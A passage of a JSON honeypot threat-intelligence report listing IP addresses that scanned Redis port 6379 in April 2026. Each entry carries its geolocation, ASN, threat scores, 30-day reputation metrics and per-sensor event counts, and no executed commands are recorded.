      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 15.0,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 18,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T07:08:19.336000+00:00",
        "last_seen_30d": "2026-04-26T11:08:48.406000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 11,
        "Redishoneypot": 3
      }
    },
    "20.168.5.42": {
      "attack_count": 15,
      "first_seen": "2026-04-30T19:29:57.000Z",
      "last_seen": "2026-04-30T19:33:03.428Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 21,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-10T08:23:39+00:00",
        "last_seen_30d": "2026-04-30T19:33:03.428000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 3,
        "Redishoneypot": 3
      }
    },
    "20.168.7.169": {
      "attack_count": 15,
      "first_seen": "2026-04-25T15:52:41.000Z",
      "last_seen": "2026-04-25T15:54:58.015Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T19:28:09.025000+00:00",
        "last_seen_30d": "2026-04-25T15:54:58.015000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 3,
        "Redishoneypot": 3
      }
    },
    "34.197.70.90": {
      "attack_count": 15,
      "first_seen": "2026-04-18T02:01:52.000Z",
      "last_seen": "2026-04-29T01:21:26.838Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 75.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 392,
        "days_active_30d": 30,
        "ports_targeted_30d": 179,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:09:40.870000+00:00",
        "last_seen_30d": "2026-04-30T16:47:44.718000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 392
      }
    },
    "40.80.204.175": {
      "attack_count": 15,
      "first_seen": "2026-04-01T20:55:04.000Z",
      "last_seen": "2026-04-01T20:57:12.292Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 11.7,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 14,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T20:56:02+00:00",
        "last_seen_30d": "2026-04-14T06:55:35.951000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 8,
        "Redishoneypot": 3
      }
    },
    "91.230.168.210": {
      "attack_count": 13,
      "first_seen": "2026-04-10T19:44:36.000Z",
      "last_seen": "2026-04-10T19:45:50.798Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 30,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:01:25.449000+00:00",
        "last_seen_30d": "2026-04-30T21:50:52.843000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 168,
        "Honeytrap": 33,
        "Redishoneypot": 3
      }
    },
    "66.132.172.140": {
      "attack_count": 12,
      "first_seen": "2026-04-02T07:42:58.000Z",
      "last_seen": "2026-04-02T07:44:02.495Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T03:14:51+00:00",
        "last_seen_30d": "2026-04-30T15:07:22.900000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 103,
        "Honeytrap": 47,
        "ElasticPot": 8,
        "Redishoneypot": 6,
        "Dionaea": 5,
        "ConPot": 4,
        "H0neytr4p": 4,
        "Dicompot": 1
      }
    },
    "66.132.186.160": {
      "attack_count": 12,
      "first_seen": "2026-04-03T01:06:35.000Z",
      "last_seen": "2026-04-03T01:07:46.157Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 28,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T06:01:44+00:00",
        "last_seen_30d": "2026-04-28T16:14:06.065000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 65,
        "Cowrie": 10,
        "Redishoneypot": 6,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "66.132.186.187": {
      "attack_count": 12,
      "first_seen": "2026-04-12T03:32:49.000Z",
      "last_seen": "2026-04-12T03:33:55.845Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 27,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T06:04:53.536000+00:00",
        "last_seen_30d": "2026-04-28T13:38:49.454000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 40,
        "ElasticPot": 21,
        "ConPot": 6,
        "Redishoneypot": 6,
        "Dionaea": 1
      }
    },
    "66.132.195.124": {
      "attack_count": 12,
      "first_seen": "2026-04-01T06:38:06.000Z",
      "last_seen": "2026-04-01T06:39:15.586Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 26,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T06:38:06+00:00",
        "last_seen_30d": "2026-04-26T13:40:28.706000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 9,
        "Redishoneypot": 6,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "66.132.195.89": {
      "attack_count": 12,
      "first_seen": "2026-04-24T19:59:05.000Z",
      "last_seen": "2026-04-24T20:00:19.790Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T00:46:32+00:00",
        "last_seen_30d": "2026-04-30T07:05:43.889000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 28,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "66.132.224.233": {
      "attack_count": 12,
      "first_seen": "2026-04-14T05:35:46.000Z",
      "last_seen": "2026-04-14T05:36:50.949Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 26,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:34:35+00:00",
        "last_seen_30d": "2026-04-26T15:32:30.134000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 15,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 4,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "66.132.224.236": {
      "attack_count": 12,
      "first_seen": "2026-04-15T06:33:43.000Z",
      "last_seen": "2026-04-15T06:34:54.889Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 68.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 24,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T07:38:14+00:00",
        "last_seen_30d": "2026-04-26T17:09:28.444000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 12,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "52.154.153.185": {
      "attack_count": 11,
      "first_seen": "2026-04-27T22:19:35.000Z",
      "last_seen": "2026-04-27T22:20:42.528Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:19:35+00:00",
        "last_seen_30d": "2026-04-27T22:20:42.528000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "43.133.59.133": {
      "attack_count": 10,
      "first_seen": "2026-04-07T10:55:04.000Z",
      "last_seen": "2026-04-07T10:56:04.728Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:55:04+00:00",
        "last_seen_30d": "2026-04-07T10:56:04.728000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "85.217.140.10": {
      "attack_count": 10,
      "first_seen": "2026-04-11T18:02:28.000Z",
      "last_seen": "2026-04-11T18:03:39.002Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 84.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 30,
        "ports_targeted_30d": 156,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T12:57:13.748000+00:00",
        "last_seen_30d": "2026-04-30T21:11:53.834000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 178,
        "Honeytrap": 116,
        "Redishoneypot": 3
      }
    },
    "97.107.141.150": {
      "attack_count": 10,
      "first_seen": "2026-04-12T12:42:05.000Z",
      "last_seen": "2026-04-26T12:37:25.370Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 30,
        "ports_targeted_30d": 181,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:13:08.868000+00:00",
        "last_seen_30d": "2026-04-30T18:32:55.293000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 197
      }
    },
    "172.245.219.236": {
      "attack_count": 9,
      "first_seen": "2026-04-11T12:18:16.000Z",
      "last_seen": "2026-04-11T12:19:26.771Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:18:16+00:00",
        "last_seen_30d": "2026-04-11T12:19:26.771000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "198.235.24.181": {
      "attack_count": 9,
      "first_seen": "2026-04-10T20:28:17.000Z",
      "last_seen": "2026-04-10T20:29:51.387Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 28,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:15:41.987000+00:00",
        "last_seen_30d": "2026-04-28T08:27:38.212000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 19,
        "Redishoneypot": 3,
        "ConPot": 1,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "198.74.62.88": {
      "attack_count": 9,
      "first_seen": "2026-04-05T18:36:34.000Z",
      "last_seen": "2026-04-05T18:37:40.521Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T18:36:34+00:00",
        "last_seen_30d": "2026-04-05T18:37:40.521000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "20.75.43.113": {
      "attack_count": 9,
      "first_seen": "2026-04-09T07:34:06.000Z",
      "last_seen": "2026-04-09T07:35:15.734Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T07:34:06+00:00",
        "last_seen_30d": "2026-04-09T07:35:15.734000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "34.78.147.222": {
      "attack_count": 9,
      "first_seen": "2026-04-29T07:20:46.000Z",
      "last_seen": "2026-04-29T07:22:01.252Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:20:47+00:00",
        "last_seen_30d": "2026-04-29T07:22:01.252000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "44.220.185.227": {
      "attack_count": 9,
      "first_seen": "2026-04-26T23:52:49.000Z",
      "last_seen": "2026-04-26T23:53:57.136Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T01:13:18+00:00",
        "last_seen_30d": "2026-04-26T23:53:57.136000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 7,
        "Redishoneypot": 3
      }
    },
    "45.76.236.250": {
      "attack_count": 9,
      "first_seen": "2026-04-12T20:45:58.000Z",
      "last_seen": "2026-04-12T20:46:59.720Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T20:45:58+00:00",
        "last_seen_30d": "2026-04-12T20:46:59.720000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "8.142.178.141": {
      "attack_count": 9,
      "first_seen": "2026-04-22T09:22:30.000Z",
      "last_seen": "2026-04-22T09:23:38.509Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-16T09:18:45+00:00",
        "last_seen_30d": "2026-04-27T20:53:09.033000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "98.90.43.197": {
      "attack_count": 9,
      "first_seen": "2026-04-01T00:32:29.000Z",
      "last_seen": "2026-04-10T12:14:30.808Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 28,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:33:31.442000+00:00",
        "last_seen_30d": "2026-04-28T23:22:33.412000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 211,
        "Honeytrap": 29,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "107.174.52.105": {
      "attack_count": 8,
      "first_seen": "2026-04-26T17:24:17.000Z",
      "last_seen": "2026-04-26T17:25:18.998Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-26T17:21:16.127000+00:00",
        "last_seen_30d": "2026-04-26T17:25:55.894000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Dionaea": 2,
        "Honeytrap": 2,
        "Redishoneypot": 2
      }
    },
    "223.223.179.212": {
      "attack_count": 6,
      "first_seen": "2026-04-01T01:23:28.000Z",
      "last_seen": "2026-04-13T08:30:57.935Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 20,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:24:32.664000+00:00",
        "last_seen_30d": "2026-04-20T22:28:18.246000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15
      }
    },
    "35.233.68.173": {
      "attack_count": 6,
      "first_seen": "2026-04-24T14:19:04.000Z",
      "last_seen": "2026-04-24T14:20:10.990Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-24T14:20:10.990000+00:00",
        "last_seen_30d": "2026-04-24T14:20:10.990000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "100.29.192.67": {
      "attack_count": 5,
      "first_seen": "2026-04-26T09:57:34.000Z",
      "last_seen": "2026-04-26T09:59:13.838Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.0,
        "persistence": 20.8,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 25,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T20:50:45.761000+00:00",
        "last_seen_30d": "2026-04-29T03:48:50.800000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8
      }
    },
    "115.190.12.139": {
      "attack_count": 5,
      "first_seen": "2026-04-29T10:30:14.000Z",
      "last_seen": "2026-04-29T10:31:19.231Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
